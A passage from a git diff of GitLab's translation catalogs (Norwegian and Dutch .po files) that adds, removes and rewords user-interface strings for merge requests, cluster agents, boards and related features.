msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
-msgstr "%{commitCount} og %{mergeCommitCount} vil bli lagt til i %{targetBranch}."
-
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
-msgstr "%{commitCount} vil bli lagt til i %{targetBranch}."
-
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr "1 innflettings-commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
+msgstr ""
+
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
+msgstr ""
+
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr "Vennligst gjenopprett den eller bruk en annen %{missingBranchName}-fane"
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr "Avbryt auto-innfletting"
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr "Slett kildegrenen"
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr "Lukket ikke"
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr "Send e-post ved programrettelser"
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr "Flett"
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "Fletting mislyktes."
msgid "mrWidget|Merge locally"
msgstr "Flett lokalt"
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr "Flettet av"
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr "Fletteforespørsel"
msgid "mrWidget|Resolve conflicts"
msgstr "Oppklar konflikter"
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr "Tilbakestill"
@@ -41164,9 +41842,6 @@ msgstr "Endringene ble flettet inn i"
msgid "mrWidget|The changes were not merged into"
msgstr "Endringene ble ikke flettet inn i"
-msgid "mrWidget|The changes will be merged into"
-msgstr "Endringene vil bli flettet inn i"
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,37 +41857,28 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr "Kildegrenen ble slettet"
-msgid "mrWidget|The source branch will be deleted"
-msgstr "Kildegrenen vil bli slettet"
-
-msgid "mrWidget|The source branch will not be deleted"
-msgstr "Kildegrenen vil ikke bli slettet"
-
-msgid "mrWidget|There are merge conflicts"
-msgstr "Det er flette konflikter"
-
msgid "mrWidget|This merge request failed to be merged automatically"
msgstr "Denne fletteforespørsel ble ikke flettet automatisk"
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
-msgstr "Bruk %{linkStart}CI-rørledninger til å teste koden%{linkEnd} ved å legge til en GitLab CI-konfigurasjonsfil i prosjektet ditt. Det tar bare et minutt å gjøre koden din mer sikker og robust."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
-msgid "mrWidget|What is a merge train?"
+msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
-msgid "mrWidget|You can only merge once this merge request is approved."
+msgid "mrWidget|What is a merge train?"
msgstr ""
msgid "mrWidget|Your password"
@@ -41375,6 +42041,18 @@ msgstr "rørledning"
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr "logg inn"
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr "sorter:"
-
msgid "source"
msgstr "kilde"
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr "starter den %{timebox_start_date}"
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr "fastklemt"
diff --git a/locale/nl_NL/gitlab.po b/locale/nl_NL/gitlab.po
index 7dd2b54118a..44b2aee9359 100644
--- a/locale/nl_NL/gitlab.po
+++ b/locale/nl_NL/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: nl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:41\n"
+"PO-Revision-Date: 2021-12-06 18:59\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] "%d opgelost testresultaat"
msgstr[1] "%d opgeloste testresultaten"
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] "%d metriek"
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] "%s andere commits zijn weggelaten om prestatieproblemen te voorkomen.
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} & %{openOrClose} %{noteable}"
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr "%{openOrClose} %{noteable}"
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr "Toegangstokens"
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr "Nieuwe map toevoegen"
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
